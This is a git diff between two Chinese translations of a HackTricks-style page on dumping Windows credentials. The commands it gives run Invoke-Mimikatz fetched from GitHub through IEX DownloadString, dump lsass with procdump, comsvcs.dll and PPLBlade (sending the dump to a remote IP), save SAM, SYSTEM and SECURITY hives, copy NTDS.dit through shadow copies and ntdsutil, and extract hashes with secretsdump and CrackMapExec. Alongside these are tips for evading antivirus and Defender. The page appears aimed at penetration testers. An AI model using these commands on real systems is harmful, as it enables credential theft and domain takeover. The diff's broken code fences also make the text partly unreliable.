**在** [**这个页面**](credentials-mimikatz.md)**中查找Mimikatz可以执行的其他操作。**
|
||||||
|
|
||||||
### Invoke-Mimikatz
|
### 调用Mimikatz
|
||||||
```bash
|
```bash
|
||||||
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')
|
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')
|
||||||
Invoke-Mimikatz -DumpCreds #Dump creds from memory
|
Invoke-Mimikatz -DumpCreds #Dump creds from memory
|
||||||
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"'
|
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"'
|
||||||
```
|
```
|
||||||
[**了解一些可能的凭证保护措施。**](credentials-protections.md) **这些保护措施可能会阻止Mimikatz提取某些凭证。**
|
[**了解一些可能的凭据保护措施。**](credentials-protections.md) **这些保护措施可以防止 Mimikatz 提取一些凭据。**
|
||||||
|
|
||||||
## 使用Meterpreter的凭证
|
## 使用 Meterpreter 提取凭据
|
||||||
|
|
||||||
使用我创建的[**凭证插件**](https://github.com/carlospolop/MSF-Credentials)来**搜索受害者内部的密码和哈希值**。
|
使用我创建的[**凭据插件**](https://github.com/carlospolop/MSF-Credentials) **来搜索受害者内部的密码和哈希值。**
|
||||||
```bash
|
```bash
|
||||||
#Credentials from SAM
|
#Credentials from SAM
|
||||||
post/windows/gather/smart_hashdump
|
post/windows/gather/smart_hashdump
|
||||||
|
@ -61,10 +61,10 @@ mimikatz_command -f "lsadump::sam"
|
||||||
|
|
||||||
### Procdump + Mimikatz
|
### Procdump + Mimikatz
|
||||||
|
|
||||||
由于 [**SysInternals**](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) 的 **Procdump 是微软的合法工具**,因此不会被 Defender 检测到。\
|
由于**SysInternals**的**Procdump**是一个合法的微软工具,因此不会被Defender检测到。\
|
||||||
你可以使用这个工具来 **转储 lsass 进程**,**下载转储文件**,并从转储中 **本地提取** **凭据**。
|
您可以使用这个工具来**转储lsass进程**,**下载转储文件**,并从中**本地提取**凭据。
|
||||||
|
|
||||||
{% code title="转储 lsass" %}
|
{% code title="Dump lsass" %}
|
||||||
```bash
|
```bash
|
||||||
#Local
|
#Local
|
||||||
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
|
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
|
||||||
|
@ -72,115 +72,109 @@ C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
|
||||||
net use Z: https://live.sysinternals.com
|
net use Z: https://live.sysinternals.com
|
||||||
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
|
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
|
||||||
```
|
```
|
||||||
```
|
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
{% code title="从转储中提取凭证" %}
|
{% code title="从转储中提取凭据" %}
|
||||||
```
|
|
||||||
```c
|
```c
|
||||||
//Load the dump
|
//Load the dump
|
||||||
mimikatz # sekurlsa::minidump lsass.dmp
|
mimikatz # sekurlsa::minidump lsass.dmp
|
||||||
//Extract credentials
|
//Extract credentials
|
||||||
mimikatz # sekurlsa::logonPasswords
|
mimikatz # sekurlsa::logonPasswords
|
||||||
```
|
```
|
||||||
```markdown
|
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
此过程可通过 [SprayKatz](https://github.com/aas-n/spraykatz) 自动完成:`./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24`
|
这个过程是通过[SprayKatz](https://github.com/aas-n/spraykatz)自动完成的:`./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24`
|
||||||
|
|
||||||
**注意**:一些 **AV** 可能会将使用 **procdump.exe 转储 lsass.exe** 的行为 **检测** 为 **恶意**,这是因为它们在 **检测** 字符串 **"procdump.exe" 和 "lsass.exe"**。因此,将 lsass.exe 的 **PID** 作为参数传递给 procdump,而不是 **名称 lsass.exe**,会更 **隐蔽**。
|
**注意**: 一些**杀毒软件**可能会将使用**procdump.exe转储lsass.exe**视为**恶意行为**,这是因为它们检测到了字符串**"procdump.exe"和"lsass.exe"**。因此,更隐蔽的方法是将lsass.exe的**PID**作为参数传递给procdump,而不是使用lsass.exe的名称。
|
||||||
|
|
||||||
### 使用 **comsvcs.dll** 转储 lsass
|
### 使用**comsvcs.dll**转储lsass
|
||||||
|
|
||||||
有一个名为 **comsvcs.dll** 的 DLL,位于 `C:\Windows\System32`,它会在进程 **崩溃** 时 **转储进程内存**。这个 DLL 包含一个名为 **`MiniDumpW`** 的 **函数**,它被编写为可以通过 `rundll32.exe` 调用。\
|
位于`C:\Windows\System32`中的名为**comsvcs.dll**的DLL负责在发生崩溃时**转储进程内存**。该DLL包含一个名为**`MiniDumpW`**的函数,设计用于使用`rundll32.exe`调用。\
|
||||||
前两个参数不被使用,但第三个参数被分为三部分。第一部分是将被转储的进程 ID,第二部分是转储文件位置,第三部分是单词 **full**。没有其他选择。\
|
使用前两个参数是无关紧要的,但第三个参数分为三个组件。要转储的进程ID构成第一个组件,转储文件位置代表第二个组件,第三个组件严格为单词**full**。没有其他可选项。\
|
||||||
一旦这三个参数被解析,基本上这个 DLL 就会创建转储文件,并将指定的进程转储到该文件中。\
|
解析这三个组件后,DLL将开始创建转储文件,并将指定进程的内存传输到此文件中。\
|
||||||
得益于这个函数,我们可以使用 **comsvcs.dll** 来转储 lsass 进程,而不是上传 procdump 并执行它。(此信息摘自 [https://en.hackndo.com/remote-lsass-dump-passwords/](https://en.hackndo.com/remote-lsass-dump-passwords/))
|
可以利用**comsvcs.dll**来转储lsass进程,从而消除上传和执行procdump的需要。此方法在[https://en.hackndo.com/remote-lsass-dump-passwords/](https://en.hackndo.com/remote-lsass-dump-passwords)中有详细描述。
|
||||||
```
|
|
||||||
```
|
以下命令用于执行:
|
||||||
|
```bash
|
||||||
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full
|
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full
|
||||||
```
|
```
|
||||||
我们必须记住,这项技术只能以**SYSTEM**身份执行。
|
**您可以使用** [**lssasy**](https://github.com/Hackndo/lsassy)** 来自动化这个过程。**
|
||||||
|
|
||||||
**您可以使用** [**lssasy**](https://github.com/Hackndo/lsassy) **自动化此过程。**
|
### **使用任务管理器转储 lsass**
|
||||||
|
|
||||||
### **使用任务管理器转储lsass**
|
1. 在任务栏上右键单击,然后单击任务管理器
|
||||||
|
2. 单击“详细信息”
|
||||||
|
3. 在“进程”选项卡中搜索“本地安全机构进程”进程
|
||||||
|
4. 右键单击“本地安全机构进程”进程,然后单击“创建转储文件”。
|
||||||
|
|
||||||
1. 右键点击任务栏,然后点击任务管理器
|
### 使用 procdump 转储 lsass
|
||||||
2. 点击更多详情
|
|
||||||
3. 在进程标签中搜索“本地安全权限进程”
|
|
||||||
4. 右键点击“本地安全权限进程”,然后点击“创建转储文件”。
|
|
||||||
|
|
||||||
### 使用procdump转储lsass
|
|
||||||
|
|
||||||
[Procdump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) 是微软签名的二进制文件,是 [sysinternals](https://docs.microsoft.com/en-us/sysinternals/) 套件的一部分。
|
[Procdump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) 是微软签名的二进制文件,是 [sysinternals](https://docs.microsoft.com/en-us/sysinternals/) 套件的一部分。
|
||||||
```
|
```
|
||||||
Get-Process -Name LSASS
|
Get-Process -Name LSASS
|
||||||
.\procdump.exe -ma 608 lsass.dmp
|
.\procdump.exe -ma 608 lsass.dmp
|
||||||
```
|
```
|
||||||
## 使用 PPLBlade 转储 lsass
|
## 使用PPLBlade转储lsass
|
||||||
|
|
||||||
[**PPLBlade**](https://github.com/tastypepperoni/PPLBlade) 是一个受保护进程转储工具,支持混淆内存转储并在不将其写入磁盘的情况下传输到远程工作站。
|
[**PPLBlade**](https://github.com/tastypepperoni/PPLBlade)是一种受保护的进程转储工具,支持对内存转储进行混淆,并将其传输到远程工作站,而无需将其放在磁盘上。
|
||||||
|
|
||||||
**主要功能**:
|
**关键功能**:
|
||||||
|
|
||||||
1. 绕过 PPL 保护
|
1. 绕过PPL保护
|
||||||
2. 混淆内存转储文件以规避 Defender 基于签名的检测机制
|
2. 对内存转储文件进行混淆,以规避Defender基于签名的检测机制
|
||||||
3. 使用 RAW 和 SMB 上传方法上传内存转储,不将其写入磁盘(无文件转储)
|
3. 使用RAW和SMB上传方法上传内存转储,而无需将其放在磁盘上(无文件转储)
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234
|
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234
|
||||||
```
|
```
|
||||||
{% endcode %}
|
|
||||||
|
|
||||||
## CrackMapExec
|
## CrackMapExec
|
||||||
|
|
||||||
### 转储SAM哈希
|
### 转储 SAM 哈希
|
||||||
```
|
```
|
||||||
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
|
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
|
||||||
```
|
```
|
||||||
### 转储LSA机密
|
### 转储 LSA 机密
|
||||||
```
|
```
|
||||||
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa
|
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa
|
||||||
```
|
```
|
||||||
### 从目标DC中转储NTDS.dit文件
|
### 从目标 DC 转储 NTDS.dit
|
||||||
```
|
```
|
||||||
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
|
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
|
||||||
#~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss
|
#~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss
|
||||||
```
|
```
|
||||||
### 从目标DC中转储NTDS.dit密码历史记录
|
### 从目标 DC 中转储 NTDS.dit 密码历史
|
||||||
```
|
```
|
||||||
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history
|
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history
|
||||||
```
|
```
|
||||||
### 显示每个NTDS.dit账户的pwdLastSet属性
|
### 显示每个NTDS.dit帐户的pwdLastSet属性
|
||||||
```
|
```
|
||||||
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet
|
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet
|
||||||
```
|
```
|
||||||
## 窃取 SAM & SYSTEM 文件
|
## 窃取SAM & SYSTEM
|
||||||
|
|
||||||
这些文件应该**位于** _C:\windows\system32\config\SAM_ 和 _C:\windows\system32\config\SYSTEM_。但是**你不能用常规方式复制它们**,因为它们受到了保护。
|
这些文件应该位于 _C:\windows\system32\config\SAM_ 和 _C:\windows\system32\config\SYSTEM._ 但是**你不能简单地复制它们**因为它们受到保护。
|
||||||
|
|
||||||
### 从注册表
|
### 从注册表中
|
||||||
|
|
||||||
窃取这些文件的最简单方法是从注册表获取副本:
|
窃取这些文件的最简单方法是从注册表中获取副本:
|
||||||
```
|
```
|
||||||
reg save HKLM\sam sam
|
reg save HKLM\sam sam
|
||||||
reg save HKLM\system system
|
reg save HKLM\system system
|
||||||
reg save HKLM\security security
|
reg save HKLM\security security
|
||||||
```
|
```
|
||||||
**下载**这些文件到你的Kali机器并使用以下命令**提取哈希值**:
|
**下载**这些文件到您的Kali机器,并使用以下命令**提取哈希值**:
|
||||||
```
|
```
|
||||||
samdump2 SYSTEM SAM
|
samdump2 SYSTEM SAM
|
||||||
impacket-secretsdump -sam sam -security security -system system LOCAL
|
impacket-secretsdump -sam sam -security security -system system LOCAL
|
||||||
```
|
```
|
||||||
### 卷影复制服务
|
### 卷影复制
|
||||||
|
|
||||||
您可以使用此服务复制受保护的文件。您需要是管理员。
|
您可以使用此服务执行受保护文件的复制。您需要是管理员。
|
||||||
|
|
||||||
#### 使用 vssadmin
|
#### 使用vssadmin
|
||||||
|
|
||||||
vssadmin 二进制文件仅在 Windows Server 版本中可用
|
vssadmin二进制文件仅在Windows Server版本中可用。
|
||||||
```bash
|
```bash
|
||||||
vssadmin create shadow /for=C:
|
vssadmin create shadow /for=C:
|
||||||
#Copy SAM
|
#Copy SAM
|
||||||
|
@ -193,9 +187,7 @@ copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Ex
|
||||||
# You can also create a symlink to the shadow copy and access it
|
# You can also create a symlink to the shadow copy and access it
|
||||||
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
|
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
|
||||||
```
|
```
|
||||||
```markdown
|
但是你也可以通过**Powershell**做同样的事情。这是一个**如何复制SAM文件**的示例(硬盘使用的是"C:",并保存在C:\users\Public),但你可以用它来复制任何受保护的文件:
|
||||||
但你也可以通过**Powershell**来做同样的事情。这是一个**如何复制SAM文件**的例子(使用的硬盘是"C:",并且它被保存到C:\users\Public),但你可以用这个方法复制任何受保护的文件:
|
|
||||||
```
|
|
||||||
```bash
|
```bash
|
||||||
$service=(Get-Service -name VSS)
|
$service=(Get-Service -name VSS)
|
||||||
if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
|
if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
|
||||||
|
@ -204,76 +196,80 @@ $volume=(gwmi win32_shadowcopy -filter "ID='$id'")
|
||||||
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public
|
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public
|
||||||
$voume.Delete();if($notrunning -eq 1){$service.Stop()}
|
$voume.Delete();if($notrunning -eq 1){$service.Stop()}
|
||||||
```
|
```
|
||||||
|
代码来自书籍:[https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html](https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html)
|
||||||
|
|
||||||
### Invoke-NinjaCopy
|
### Invoke-NinjaCopy
|
||||||
|
|
||||||
最后,您也可以使用 [**PS 脚本 Invoke-NinjaCopy**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1) 来复制 SAM、SYSTEM 和 ntds.dit。
|
最后,您还可以使用[**PS脚本Invoke-NinjaCopy**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1)来复制SAM、SYSTEM和ntds.dit。
|
||||||
```bash
|
```bash
|
||||||
Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"
|
Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"
|
||||||
```
|
```
|
||||||
## **Active Directory 凭据 - NTDS.dit**
|
## **Active Directory凭证 - NTDS.dit**
|
||||||
|
|
||||||
**Ntds.dit 文件是一个存储 Active Directory 数据的数据库**,包括有关用户对象、组和组成员资格的信息。它包含域中所有用户的密码哈希。
|
**Ntds.dit文件是存储Active Directory数据的数据库**,包括有关用户对象、组和组成员的信息。它包含域中所有用户的密码哈希值。
|
||||||
|
|
||||||
重要的 NTDS.dit 文件将位于:_%SystemRoom%/NTDS/ntds.dit_\
|
重要的NTDS.dit文件将位于:_%SystemRoom%/NTDS/ntds.dit_\
|
||||||
这个文件是一个 _Extensible Storage Engine_ (ESE) 数据库,它“官方”由 3 个表组成:
|
此文件是一个由3个表“官方”组成的数据库_可扩展存储引擎_(ESE):
|
||||||
|
|
||||||
* **数据表**:包含对象(用户、组等)的信息
|
* **数据表**:包含有关对象(用户、组等)的信息
|
||||||
* **链接表**:关于关系的信息(成员属于...)
|
* **链接表**:关系信息(成员等)
|
||||||
* **SD 表**:包含每个对象的安全描述符
|
* **SD表**:包含每个对象的安全描述符
|
||||||
|
|
||||||
更多信息请访问:[http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/](http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/)
|
有关更多信息,请参阅:[http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/](http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/)
|
||||||
|
|
||||||
Windows 使用 _Ntdsa.dll_ 与该文件交互,并由 _lsass.exe_ 使用。然后,**部分** **NTDS.dit** 文件可能位于 **`lsass` 内存中**(你可能会发现最近访问的数据,这可能是因为使用 **缓存** 提高了性能)。
|
Windows使用_Ntdsa.dll_与该文件进行交互,并由_lsass.exe_使用。然后,**NTDS.dit**文件的**部分**可能位于`lsass`内存中(您可以找到最近访问的数据,可能是因为使用**缓存**来提高性能)。
|
||||||
|
|
||||||
#### 解密 NTDS.dit 中的哈希
|
#### 解密NTDS.dit中的哈希值
|
||||||
|
|
||||||
哈希被加密 3 次:
|
哈希值被加密了3次:
|
||||||
|
|
||||||
1. 使用 **BOOTKEY** 和 **RC4** 解密密码加密密钥(**PEK**)。
|
1. 使用**BOOTKEY**和**RC4**解密密码加密密钥(**PEK**)。
|
||||||
2. 使用 **PEK** 和 **RC4** 解密 **哈希**。
|
2. 使用**PEK**和**RC4**解密**哈希**。
|
||||||
3. 使用 **DES** 解密 **哈希**。
|
3. 使用**DES**解密**哈希**。
|
||||||
|
|
||||||
**PEK** 在 **每个域控制器**中都有**相同的值**,但它在 **NTDS.dit** 文件中使用域控制器的 **SYSTEM 文件的 BOOTKEY(在不同域控制器之间不同)**进行了**加密**。这就是为什么要从 NTDS.dit 文件中获取凭据,**你需要 NTDS.dit 和 SYSTEM 文件**(_C:\Windows\System32\config\SYSTEM_)。
|
**PEK**在**每个域控制器**中具有**相同的值**,但它在**NTDS.dit**文件中使用**域控制器的SYSTEM文件的BOOTKEY(在域控制器之间不同)**进行加密。这就是为什么要从NTDS.dit文件中获取凭证**您需要NTDS.dit和SYSTEM文件**(_C:\Windows\System32\config\SYSTEM_)。
|
||||||
|
|
||||||
### 使用 Ntdsutil 复制 NTDS.dit
|
### 使用Ntdsutil复制NTDS.dit
|
||||||
|
|
||||||
自 Windows Server 2008 起提供。
|
自Windows Server 2008起可用。
|
||||||
```bash
|
```bash
|
||||||
ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit
|
ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit
|
||||||
```
|
```
|
||||||
你还可以使用[**卷影复制**](./#stealing-sam-and-system)技巧来复制**ntds.dit**文件。记住,你还需要一份**SYSTEM文件**的副本(同样,[**从注册表中导出或使用卷影复制**](./#stealing-sam-and-system)技巧)。
|
你也可以使用**卷影复制**技巧来复制**ntds.dit**文件。请记住,你还需要一个**SYSTEM文件**的副本(同样,可以从注册表中转储或使用卷影复制技巧)。
|
||||||
|
|
||||||
### **从NTDS.dit中提取哈希**
|
### **从NTDS.dit中提取哈希值**
|
||||||
|
|
||||||
一旦你**获取**了**NTDS.dit**和**SYSTEM**文件,你可以使用像_secretsdump.py_这样的工具来**提取哈希**:
|
一旦你获得了**NTDS.dit**和**SYSTEM**文件,你可以使用像_secretsdump.py_这样的工具来**提取哈希值**:
|
||||||
```bash
|
```bash
|
||||||
secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt
|
secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt
|
||||||
```
|
```
|
||||||
你也可以使用一个有效的域管理员用户**自动提取它们**:
|
您还可以使用有效的域管理员用户**自动提取它们**:
|
||||||
```
|
```
|
||||||
secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>
|
secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>
|
||||||
```
|
```
|
||||||
对于**大型 NTDS.dit 文件**,建议使用 [gosecretsdump](https://github.com/c-sto/gosecretsdump) 来提取。
|
对于**大型NTDS.dit文件**,建议使用[gosecretsdump](https://github.com/c-sto/gosecretsdump)来提取它。
|
||||||
|
|
||||||
最后,您还可以使用 **metasploit 模块**:_post/windows/gather/credentials/domain\_hashdump_ 或者 **mimikatz** `lsadump::lsa /inject`
|
最后,您还可以使用**metasploit模块**:_post/windows/gather/credentials/domain\_hashdump_或**mimikatz** `lsadump::lsa /inject`
|
||||||
|
|
||||||
### **从 NTDS.dit 提取域对象到 SQLite 数据库**
|
### **将NTDS.dit中的域对象提取到SQLite数据库**
|
||||||
|
|
||||||
可以使用 [ntdsdotsqlite](https://github.com/almandin/ntdsdotsqlite) 将 NTDS 对象提取到 SQLite 数据库。不仅提取了秘密,还提取了整个对象及其属性,以便在已经检索到原始 NTDS.dit 文件时进一步提取信息。
|
NTDS对象可以使用[ntdsdotsqlite](https://github.com/almandin/ntdsdotsqlite)提取到SQLite数据库中。不仅提取了秘密,还提取了整个对象及其属性,以便在已经检索到原始NTDS.dit文件时进行进一步信息提取。
|
||||||
```
|
```
|
||||||
ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive
|
ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive
|
||||||
```
|
```
|
||||||
|
`SYSTEM` 注册表文件是可选的,但允许进行秘密解密(NT 和 LM 哈希值,附加凭据,如明文密码,Kerberos 或信任密钥,NT 和 LM 密码历史记录)。除其他信息外,还提取以下数据:用户和计算机帐户及其哈希值,UAC 标志,最后登录和更改密码的时间戳,帐户描述,名称,UPN,SPN,组和递归成员,组织单位树和成员,受信任的域及其信任类型,方向和属性...
|
||||||
|
|
||||||
## Lazagne
|
## Lazagne
|
||||||
|
|
||||||
从[这里](https://github.com/AlessandroZ/LaZagne/releases)下载二进制文件。您可以使用此二进制文件从多个软件中提取凭据。
|
从[这里](https://github.com/AlessandroZ/LaZagne/releases)下载二进制文件。您可以使用此二进制文件从多个软件中提取凭据。
|
||||||
```
|
```
|
||||||
lazagne.exe all
|
lazagne.exe all
|
||||||
```
|
```
|
||||||
## 其他工具用于从SAM和LSASS提取凭据
|
## 从SAM和LSASS中提取凭据的其他工具
|
||||||
|
|
||||||
### Windows 凭据编辑器 (WCE)
|
### Windows凭据编辑器(WCE)
|
||||||
|
|
||||||
此工具可用于从内存中提取凭据。从以下链接下载:[http://www.ampliasecurity.com/research/windows-credentials-editor/](https://www.ampliasecurity.com/research/windows-credentials-editor/)
|
该工具可用于从内存中提取凭据。从以下链接下载:[http://www.ampliasecurity.com/research/windows-credentials-editor/](https://www.ampliasecurity.com/research/windows-credentials-editor/)
|
||||||
|
|
||||||
### fgdump
|
### fgdump
|
||||||
|
|
||||||
|
@ -292,22 +288,22 @@ type outpwdump
|
||||||
```
|
```
|
||||||
### PwDump7
|
### PwDump7
|
||||||
|
|
||||||
从此处下载:[http://www.tarasco.org/security/pwdump\_7](http://www.tarasco.org/security/pwdump\_7),直接**执行**即可提取密码。
|
从[http://www.tarasco.org/security/pwdump\_7](http://www.tarasco.org/security/pwdump\_7)下载并**执行**它,密码将被提取。
|
||||||
|
|
||||||
## 防御措施
|
## 防御
|
||||||
|
|
||||||
[**在这里了解一些凭证保护措施。**](credentials-protections.md)
|
[**在这里了解一些凭据保护措施。**](credentials-protections.md)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
支持HackTricks的其他方式:
|
||||||
|
|
||||||
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
File diff suppressed because it is too large
Load diff
|
@ -2,53 +2,37 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 您在**网络安全公司**工作吗?想要在HackTricks中看到您的**公司广告**?或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) **Discord群组**](https://discord.gg/hRep4RUj7f) 或**电报群组**或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
